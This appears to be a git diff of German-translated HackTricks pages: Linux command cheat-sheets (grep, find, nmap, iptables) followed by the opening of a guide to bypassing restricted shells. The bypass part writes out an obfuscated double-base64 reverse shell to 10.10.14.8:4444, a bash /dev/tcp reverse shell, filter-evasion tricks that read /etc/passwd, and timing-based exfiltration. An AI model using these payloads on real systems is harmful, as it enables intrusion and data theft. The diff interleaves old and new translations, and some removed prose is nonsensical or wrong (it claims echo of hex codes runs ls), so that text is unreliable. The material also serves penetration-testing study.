### Grep nach einem Muster in allen Dateien im Verzeichnis
```bash
grep "pattern" file1.txt file2.txt file3.txt
grep "muster" *
```
### Case-Insensitive Search
By default, grep performs a case-sensitive search. To perform a case-insensitive search, use the `-i` option:
### Grep nach einem Muster in allen Dateien im Verzeichnis und in allen Unterverzeichnissen
```bash
grep -i "pattern" file.txt
grep -r "muster" *
```
### Recursive Search
To search for a pattern in all files within a directory and its subdirectories, use the `-r` option:
```bash
grep -r "pattern" directory/
```
### Invert Match
To search for lines that do not match a pattern, use the `-v` option:
```bash
grep -v "pattern" file.txt
```
### Count Matches
To count the number of matches for a pattern, use the `-c` option:
```bash
grep -c "pattern" file.txt
```
### Display Line Numbers
To display line numbers along with the matching lines, use the `-n` option:
```bash
grep -n "pattern" file.txt
```
### Regular Expressions
Grep supports regular expressions for more advanced pattern matching. Here are some examples:
- Search for lines starting with a specific word:
```bash
grep "^word" file.txt
```
- Search for lines ending with a specific word:
```bash
grep "word$" file.txt
```
- Search for lines containing one of multiple patterns:
```bash
grep "pattern1\|pattern2" file.txt
```
These are just a few examples of what you can do with grep. It is a versatile tool that can be used in various ways to search and manipulate text files.
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -340,66 +275,25 @@ egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13
```
## Find
### Description
### Beschreibung
The `find` command is used to search for files and directories in a directory hierarchy based on different criteria such as name, size, type, and more. It is a powerful tool that can be used for various purposes, including system administration, file management, and security auditing.
Der `find`-Befehl wird verwendet, um Dateien und Verzeichnisse basierend auf verschiedenen Kriterien zu suchen.
### Syntax
The basic syntax of the `find` command is as follows:
```
find [path] [expression]
```bash
find <path> <options>
```
- `path`: Specifies the directory or directories to search in. If no path is provided, the current directory is used.
- `expression`: Specifies the search criteria. This can include options, tests, and actions.
### Optionen
### Examples
1. Search for a file by name:
```
find /path/to/directory -name "filename"
```
This command will search for a file with the specified name in the given directory and its subdirectories.
2. Search for files by extension:
```
find /path/to/directory -name "*.txt"
```
This command will search for files with the `.txt` extension in the specified directory and its subdirectories.
3. Search for files by size:
```
find /path/to/directory -size +10M
```
This command will search for files larger than 10 megabytes in the specified directory and its subdirectories.
4. Search for directories:
```
find /path/to/directory -type d
```
This command will search for directories in the specified directory and its subdirectories.
5. Search for files modified within a specific time range:
```
find /path/to/directory -type f -newermt "2021-01-01" ! -newermt "2022-01-01"
```
This command will search for files modified between January 1, 2021, and December 31, 2021, in the specified directory and its subdirectories.
### Additional Resources
- [Linux man page for find](https://man7.org/linux/man-pages/man1/find.1.html)
- `-name`: Sucht nach Dateien/Verzeichnissen mit einem bestimmten Namen.
- `-type`: Sucht nach einem bestimmten Typ (z. B. `f` für Datei, `d` für Verzeichnis).
- `-size`: Sucht nach Dateien basierend auf ihrer Größe.
- `-exec`: Führt einen Befehl für jede gefundene Datei/Verzeichnis aus.
- `-delete`: Löscht die gefundenen Dateien/Verzeichnisse.
- `-mtime`: Sucht nach Dateien, die innerhalb einer bestimmten Anzahl von Tagen geändert wurden.
- `-user`: Sucht nach Dateien/Verzeichnissen, die einem bestimmten Benutzer gehören.
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -428,33 +322,7 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap-Suchhilfe
Nmap ist ein leistungsstolles Tool zur Netzwerkscannung und -erkennung. Es bietet eine Vielzahl von Optionen und Funktionen, um Informationen über Netzwerke und Hosts zu sammeln. Hier sind einige nützliche Befehle und Optionen, die Ihnen bei der Verwendung von Nmap helfen können:
- **Grundlegende Scan-Typen:**
- `nmap <Ziel-IP>`: Führt einen Standard-Scan auf das angegebene Ziel durch.
- `nmap -sS <Ziel-IP>`: Führt einen SYN-Scan durch, um offene Ports zu erkennen.
- `nmap -sU <Ziel-IP>`: Führt einen UDP-Scan durch, um offene UDP-Ports zu erkennen.
- `nmap -sV <Ziel-IP>`: Führt einen Versions-Scan durch, um Informationen über Dienste und deren Versionen zu erhalten.
- **Erweiterte Scan-Optionen:**
- `nmap -p <Port> <Ziel-IP>`: Führt einen Scan auf einem bestimmten Port durch.
- `nmap -p- <Ziel-IP>`: Führt einen Scan auf allen Ports durch.
- `nmap -A <Ziel-IP>`: Führt einen aggressiven Scan durch, um detaillierte Informationen zu erhalten.
- `nmap -O <Ziel-IP>`: Führt einen Betriebssystemerkennungs-Scan durch, um das Betriebssystem des Ziels zu identifizieren.
- **Ausgabeoptionen:**
- `nmap -oN <Dateiname> <Ziel-IP>`: Speichert die Ergebnisse in einer normalen Textdatei.
- `nmap -oX <Dateiname> <Ziel-IP>`: Speichert die Ergebnisse in einer XML-Datei.
- `nmap -oG <Dateiname> <Ziel-IP>`: Speichert die Ergebnisse in einer Grep-fähigen Textdatei.
- **Weitere Optionen:**
- `nmap -T<0-5> <Ziel-IP>`: Legt die Scan-Geschwindigkeit fest (0 = Paranoid, 5 = Insane).
- `nmap -v <Ziel-IP>`: Gibt detaillierte Ausgaben während des Scans aus.
- `nmap -h`: Zeigt die Hilfe und eine Liste aller verfügbaren Optionen an.
Diese Befehle und Optionen sind nur ein Auszug aus den vielen Funktionen, die Nmap bietet. Es ist wichtig, die Dokumentation zu lesen und mit den verschiedenen Optionen vertraut zu werden, um das Beste aus diesem leistungsstarken Tool herauszuholen.
## Nmap Suchhilfe
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
@ -463,78 +331,32 @@ nmap --script-help "(default or version) and smb)"
```
## Bash
Bash ist eine beliebte Shell für Linux-Systeme. Hier sind einige nützliche Befehle, die Ihnen bei der Verwaltung und Überwachung Ihres Systems helfen können:
### Beschreibung
### Dateisystem
- `ls`: Zeigt den Inhalt des aktuellen Verzeichnisses an.
- `cd`: Wechselt das Verzeichnis.
- `pwd`: Zeigt den Pfad des aktuellen Verzeichnisses an.
- `mkdir`: Erstellt ein neues Verzeichnis.
- `rm`: Löscht eine Datei oder ein Verzeichnis.
- `cp`: Kopiert eine Datei oder ein Verzeichnis.
- `mv`: Verschiebt eine Datei oder ein Verzeichnis.
- `find`: Sucht nach Dateien oder Verzeichnissen.
- `grep`: Durchsucht Dateien nach einem bestimmten Muster.
- `chmod`: Ändert die Berechtigungen einer Datei oder eines Verzeichnisses.
- `chown`: Ändert den Besitzer einer Datei oder eines Verzeichnisses.
- `chgrp`: Ändert die Gruppe einer Datei oder eines Verzeichnisses.
### Prozessverwaltung
- `ps`: Zeigt laufende Prozesse an.
- `top`: Zeigt die laufenden Prozesse in Echtzeit an.
- `kill`: Beendet einen Prozess.
- `killall`: Beendet alle Prozesse mit einem bestimmten Namen.
- `bg`: Setzt einen Prozess in den Hintergrund.
- `fg`: Holt einen Prozess in den Vordergrund.
### Netzwerk
- `ifconfig`: Zeigt Netzwerkschnittstelleninformationen an.
- `ping`: Sendet ICMP Echo-Anforderungen an eine IP-Adresse.
- `netstat`: Zeigt Netzwerkverbindungen, Routingtabellen und Schnittstellenstatistiken an.
- `ssh`: Stellt eine sichere Verbindung zu einem Remote-Server her.
- `scp`: Kopiert Dateien zwischen lokalem und Remote-Server.
- `wget`: Lädt Dateien von einer URL herunter.
### Systeminformationen
- `uname`: Zeigt Informationen über den Kernel an.
- `whoami`: Zeigt den aktuellen Benutzernamen an.
- `hostname`: Zeigt den Hostnamen des Systems an.
- `uptime`: Zeigt die Systemlaufzeit an.
- `df`: Zeigt Informationen über die Dateisystemnutzung an.
- `free`: Zeigt Informationen über den Arbeitsspeicher an.
- `lscpu`: Zeigt Informationen über die CPU an.
Diese Befehle sind nur ein Auszug aus den vielen verfügbaren Bash-Befehlen. Sie können weitere Befehle und deren Optionen in der Bash-Dokumentation finden.
Bash ist eine beliebte Unix-Shell und Befehlsinterpreter für Unix-basierte Betriebssysteme wie Linux. Es bietet eine Befehlszeilenumgebung, in der Benutzer Befehle eingeben und Skripte ausführen können, um verschiedene Aufgaben auszuführen. Bash bietet eine Vielzahl von Funktionen und Befehlen, die es Benutzern ermöglichen, effizient mit dem Betriebssystem zu interagieren und komplexe Aufgaben zu automatisieren.
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
Iptables ist ein leistungsstarkes Werkzeug zur Verwaltung der Firewall in Linux. Es ermöglicht die Filterung von Netzwerkverkehr basierend auf verschiedenen Kriterien wie IP-Adresse, Portnummer und Protokoll. Iptables kann verwendet werden, um den eingehenden und ausgehenden Datenverkehr zu kontrollieren und somit die Sicherheit des Systems zu erhöhen.
### Beschreibung
### Grundlegende Befehle
Iptables ist ein leistungsstarkes Tool zur Konfiguration von Firewall-Regeln in Linux-Systemen. Es ermöglicht die Kontrolle des Datenverkehrs auf Netzwerkebene durch das Definieren von Regeln für den Datenverkehr.
- `iptables -L`: Zeigt die aktuelle Konfiguration der Firewall an.
- `iptables -F`: Löscht alle Regeln aus der Firewall.
- `iptables -A <chain> -p <protocol> --dport <port> -j <action>`: Fügt eine Regel hinzu, um den Datenverkehr auf einen bestimmten Port basierend auf dem angegebenen Protokoll zu steuern. `<chain>` kann INPUT, OUTPUT oder FORWARD sein, `<protocol>` kann TCP, UDP oder ICMP sein, `<port>` ist die Portnummer und `<action>` kann ACCEPT, DROP oder REJECT sein.
- `iptables -D <chain> <rule_number>`: Löscht eine bestimmte Regel aus der Firewall, basierend auf der angegebenen Regelnummer.
### Verwendung
### Beispiel
Um Iptables zu verwenden, müssen Sie die Befehlszeile verwenden. Hier sind einige grundlegende Befehle, die Ihnen den Einstieg erleichtern:
Angenommen, wir möchten den eingehenden Datenverkehr auf Port 22 (SSH) blockieren, können wir folgenden Befehl verwenden:
- `iptables -L`: Zeigt die aktuellen Firewall-Regeln an.
- `iptables -A INPUT -s <source> -j DROP`: Blockiert den Datenverkehr von einer bestimmten Quelle.
- `iptables -A OUTPUT -d <destination> -j DROP`: Blockiert den Datenverkehr zu einem bestimmten Ziel.
- `iptables -P INPUT DROP`: Setzt die Standardeinstellung für eingehenden Datenverkehr auf Blockieren.
- `iptables -P OUTPUT DROP`: Setzt die Standardeinstellung für ausgehenden Datenverkehr auf Blockieren.
```bash
iptables -A INPUT -p tcp --dport 22 -j DROP
```
### Hinweis
Dieser Befehl fügt eine Regel zur INPUT-Kette hinzu, um den eingehenden TCP-Datenverkehr auf Port 22 zu blockieren.
Um die aktuelle Konfiguration der Firewall anzuzeigen, können wir den Befehl `iptables -L` verwenden.
Es ist wichtig, vorsichtig zu sein, wenn Sie mit Iptables arbeiten, da falsch konfigurierte Regeln dazu führen können, dass der Netzwerkverkehr gestört wird. Es wird empfohlen, vor der Implementierung von Regeln eine Sicherungskopie der aktuellen Konfiguration zu erstellen.
```bash
#Delete curent rules and chains
iptables --flush
@ -567,22 +389,22 @@ iptables -P OUTPUT ACCEPT
```
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,44 +1,36 @@
# Umgehung von Linux-Beschränkungen
# Umgehen von Linux-Beschränkungen
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um einfach **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Umgehung häufiger Beschränkungen
## Übliche Beschränkungen umgehen
### Reverse Shell
### Reverse-Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Kurze Rev-Shell
Eine Reverse-Shell ermöglicht es einem Angreifer, eine Verbindung zu einem verwundbaren System herzustellen und Befehle auszuführen. Hier ist eine kurze Reverse-Shell, die in der Bash-Umgebung verwendet werden kann:
```bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
```
Ersetzen Sie `<IP>` durch die IP-Adresse des Angreifers und `<PORT>` durch den gewünschten Port für die Verbindung. Sobald die Reverse-Shell erfolgreich eingerichtet ist, kann der Angreifer Befehle auf dem verwundbaren System ausführen und die Kontrolle übernehmen.
```bash
#Trick from Dikline
#Get a rev shell with
@ -46,59 +38,7 @@ Ersetzen Sie `<IP>` durch die IP-Adresse des Angreifers und `<PORT>` durch den g
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Umgehung von Pfaden und verbotenen Wörtern
In einigen Fällen kann es erforderlich sein, bestimmte Pfade oder Wörter zu umgehen, die in einer Bash-Umgebung eingeschränkt sind. Hier sind einige nützliche Techniken, um diese Einschränkungen zu umgehen:
#### 1. Verwendung von absoluten Pfaden
Anstatt relative Pfade zu verwenden, können Sie absolute Pfade angeben, um bestimmte Einschränkungen zu umgehen. Zum Beispiel:
```bash
/bin/ls
```
#### 2. Verwendung von Backslashes
Die Verwendung von Backslashes kann dazu beitragen, bestimmte Wörter zu umgehen, die in einer Bash-Umgebung verboten sind. Zum Beispiel:
```bash
echo "\b\i\n"
```
#### 3. Verwendung von Single Quotes
Die Verwendung von Single Quotes kann dazu beitragen, die Auswertung von Variablen oder Befehlen zu verhindern. Zum Beispiel:
```bash
echo 'Hello $USER'
```
#### 4. Verwendung von Shell-Escape-Sequenzen
Die Verwendung von Shell-Escape-Sequenzen kann dazu beitragen, bestimmte Einschränkungen zu umgehen. Zum Beispiel:
```bash
echo $'\x48\x65\x6c\x6c\x6f'
```
#### 5. Verwendung von Hexadezimalwerten
Die Verwendung von Hexadezimalwerten kann dazu beitragen, bestimmte Wörter zu umgehen, die in einer Bash-Umgebung verboten sind. Zum Beispiel:
```bash
echo -e "\x48\x65\x6c\x6c\x6f"
```
#### 6. Verwendung von Unicode-Zeichen
Die Verwendung von Unicode-Zeichen kann dazu beitragen, bestimmte Wörter zu umgehen, die in einer Bash-Umgebung verboten sind. Zum Beispiel:
```bash
echo $'\u0068\u0065\u006c\u006c\u006f'
```
Es ist wichtig zu beachten, dass diese Techniken je nach Umgebung variieren können. Es wird empfohlen, die spezifischen Einschränkungen und Möglichkeiten der verwendeten Bash-Umgebung zu überprüfen, um die effektivste Methode zur Umgehung von Pfaden und verbotenen Wörtern zu ermitteln.
### Umgehen von Pfaden und verbotenen Wörtern
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -153,23 +93,7 @@ mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Umgehung verbotener Leerzeichen
Manchmal kann es vorkommen, dass bestimmte Befehle oder Skripte aufgrund von eingeschränkten Berechtigungen oder Sicherheitsvorkehrungen nicht ausgeführt werden können. Eine gängige Einschränkung besteht darin, dass Leerzeichen in den Befehlen nicht erlaubt sind. Glücklicherweise gibt es jedoch Möglichkeiten, diese Einschränkung zu umgehen.
Eine Möglichkeit besteht darin, den Befehl in Anführungszeichen zu setzen. Dadurch wird der gesamte Befehl als einzelnes Argument behandelt und Leerzeichen werden nicht als Trennzeichen interpretiert. Zum Beispiel:
```
$ echo "Hello World"
```
Eine andere Möglichkeit besteht darin, den Befehl mit einem Backslash zu escapen. Dadurch wird das Leerzeichen als Teil des Befehls interpretiert und nicht als Trennzeichen. Zum Beispiel:
```
$ echo Hello\ World
```
Beide Methoden ermöglichen es, Befehle auszuführen, die Leerzeichen enthalten, selbst wenn diese normalerweise verboten sind. Es ist jedoch wichtig zu beachten, dass diese Techniken je nach System unterschiedlich funktionieren können. Es ist daher ratsam, verschiedene Ansätze auszuprobieren, um die beste Methode für das jeweilige System zu finden.
### Umgehen verbotener Leerzeichen
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -202,47 +126,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Umgehung von Backslash und Slash
Manchmal können bestimmte Zeichen wie der Backslash (\) oder der Slash (/) in einer Befehlszeile zu Problemen führen. Hier sind einige Möglichkeiten, wie Sie diese Beschränkungen umgehen können:
- Verwenden Sie doppelte Anführungszeichen (") um den Backslash zu maskieren. Zum Beispiel: `echo "Dies ist ein Beispiel für einen Backslash: \\"`
- Verwenden Sie ein Leerzeichen vor dem Slash, um ihn zu maskieren. Zum Beispiel: `cat Datei\ mit\ Slash`
Diese Techniken ermöglichen es Ihnen, Befehle auszuführen, die normalerweise aufgrund von Backslash- oder Slash-Beschränkungen nicht funktionieren würden.
### Backslash und Schrägstrich umgehen
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Umgehen von Pipes
Pipes ermöglichen die Verbindung von Befehlen in der Linux-Shell, indem sie die Ausgabe eines Befehls als Eingabe für einen anderen Befehl verwenden. Dies kann jedoch in einigen Fällen eingeschränkt sein, insbesondere wenn bestimmte Zeichen oder Befehle blockiert werden.
Um diese Beschränkungen zu umgehen, können Sie alternative Zeichen oder Befehle verwenden. Hier sind einige Beispiele:
- Verwenden Sie das Pipe-Symbol `|` in umgekehrter Reihenfolge, z.B. `|` als `|`.
- Verwenden Sie das Pipe-Symbol `|` in Unicode- oder Hexadezimaldarstellung, z.B. `|` als `&#124;` oder `|` als `0x7c`.
- Verwenden Sie alternative Befehle wie `tee` oder `grep` anstelle von `|`.
Es ist wichtig zu beachten, dass das Umgehen von Beschränkungen in einigen Fällen als Verstoß gegen die Sicherheitsrichtlinien angesehen werden kann. Stellen Sie sicher, dass Sie die erforderlichen Berechtigungen haben und die Auswirkungen Ihrer Handlungen verstehen, bevor Sie diese Techniken anwenden.
### Umgehungsrohre
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Umgehung mit hexadezimaler Codierung
Hexadezimale Codierung ist eine Methode, um Bash-Beschränkungen zu umgehen. Durch die Umwandlung von Zeichen in ihre hexadezimale Darstellung können bestimmte Beschränkungen umgangen werden.
Um eine hexadezimale Codierung zu verwenden, müssen Sie die Zeichen, die Sie umgehen möchten, in ihre hexadezimale Darstellung umwandeln. Dies kann mit dem Befehl `printf` erfolgen. Zum Beispiel wird der Buchstabe "a" in hexadezimaler Codierung als "\x61" dargestellt.
Um eine Befehlsausführung mit hexadezimaler Codierung durchzuführen, können Sie den Befehl `echo -e` verwenden. Geben Sie die hexadezimale Codierung des Befehls als Argument an. Zum Beispiel:
```
echo -e "\x6c\x73"
```
Dieser Befehl führt den Befehl `ls` aus, da die hexadezimale Codierung von "ls" "\x6c\x73" ist.
Die Verwendung der hexadezimalen Codierung kann dazu beitragen, bestimmte Bash-Beschränkungen zu umgehen und die Ausführung von Befehlen zu ermöglichen, die normalerweise blockiert wären. Es ist jedoch wichtig zu beachten, dass diese Methode nicht immer erfolgreich ist und von den spezifischen Beschränkungen des Systems abhängt.
### Umgehen mit Hex-Codierung
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -252,121 +145,24 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Umgehung von IPs
Manchmal kann es notwendig sein, bestimmte IP-Adressen zu umgehen, um auf bestimmte Ressourcen zuzugreifen. Hier sind einige nützliche Linux-Befehle, um IP-Einschränkungen zu umgehen:
#### 1. Verwendung von Proxychains
Proxychains ist ein Tool, das es ermöglicht, den gesamten Netzwerkverkehr über einen Proxy-Server umzuleiten. Dadurch können Sie Ihre IP-Adresse verschleiern und auf Ressourcen zugreifen, die normalerweise eingeschränkt sind.
```bash
proxychains <command>
```
#### 2. Verwendung von Tor
Tor ist ein Netzwerk von Servern, das es Ihnen ermöglicht, anonym im Internet zu surfen. Sie können Tor verwenden, um Ihre IP-Adresse zu verschleiern und auf eingeschränkte Ressourcen zuzugreifen.
```bash
torsocks <command>
```
#### 3. Verwendung von VPN
Ein VPN (Virtual Private Network) ermöglicht es Ihnen, eine sichere Verbindung zu einem entfernten Netzwerk herzustellen. Durch die Verwendung eines VPNs können Sie Ihre IP-Adresse ändern und auf eingeschränkte Ressourcen zugreifen.
```bash
openvpn <config-file>
```
#### 4. Verwendung von SSH-Tunneln
SSH-Tunnel ermöglichen es Ihnen, eine sichere Verbindung zu einem entfernten Server herzustellen und den gesamten Netzwerkverkehr über diesen Server umzuleiten. Dadurch können Sie Ihre IP-Adresse verschleiern und auf eingeschränkte Ressourcen zugreifen.
```bash
ssh -D <port> <user>@<server>
```
#### 5. Verwendung von Proxys
Sie können auch Proxys verwenden, um Ihre IP-Adresse zu verschleiern und auf eingeschränkte Ressourcen zuzugreifen. Es gibt verschiedene Arten von Proxys, wie z.B. HTTP-Proxys, SOCKS-Proxys usw.
```bash
export http_proxy=<proxy-address>
export https_proxy=<proxy-address>
```
Diese Befehle ermöglichen es Ihnen, die Umgebung zu konfigurieren, um den gesamten Netzwerkverkehr über den angegebenen Proxy-Server umzuleiten.
#### 6. Verwendung von IP-Spoofing
IP-Spoofing ist eine Technik, bei der Sie Ihre IP-Adresse fälschen, um auf eingeschränkte Ressourcen zuzugreifen. Diese Technik erfordert jedoch fortgeschrittene Kenntnisse und ist in den meisten Fällen illegal.
Es ist wichtig zu beachten, dass das Umgehen von IP-Einschränkungen in vielen Fällen gegen die Nutzungsbedingungen von Diensten und Plattformen verstößt. Verwenden Sie diese Techniken daher mit Vorsicht und nur zu legitimen Zwecken.
### Umgehen von IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Zeitbasierte Datenexfiltration
Die zeitbasierte Datenexfiltration ist eine Methode, bei der Daten über eine Verzögerung in der Ausführung von Befehlen exfiltriert werden. Dies kann verwendet werden, um Sicherheitsbeschränkungen zu umgehen, die in einer Bash-Umgebung implementiert sind.
Um diese Technik anzuwenden, können Sie die folgenden Befehle verwenden:
- `sleep`: Verzögert die Ausführung des Befehls um eine bestimmte Anzahl von Sekunden.
- `ping`: Sendet ICMP Echo-Anforderungen an eine bestimmte IP-Adresse und erzeugt eine Verzögerung basierend auf der Round-Trip-Zeit.
Indem Sie diese Befehle in Kombination mit anderen Techniken verwenden, können Sie Daten schrittweise exfiltrieren, ohne Verdacht zu erregen. Es ist wichtig, die Verzögerungen sorgfältig zu kalibrieren, um eine zu auffällige Aktivität zu vermeiden.
Es ist jedoch zu beachten, dass diese Methode Zeit benötigt, um Daten zu exfiltrieren, und daher möglicherweise nicht für alle Szenarien geeignet ist.
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Abrufen von Zeichen aus Umgebungsvariablen
Manchmal kann es erforderlich sein, Zeichen aus Umgebungsvariablen abzurufen, insbesondere wenn bestimmte Bash-Einschränkungen umgangen werden müssen. Hier sind einige nützliche Befehle, um dies zu erreichen:
#### 1. Verwendung von `echo` und `printf`
Sie können `echo` oder `printf` verwenden, um den Wert einer Umgebungsvariable anzuzeigen. Zum Beispiel:
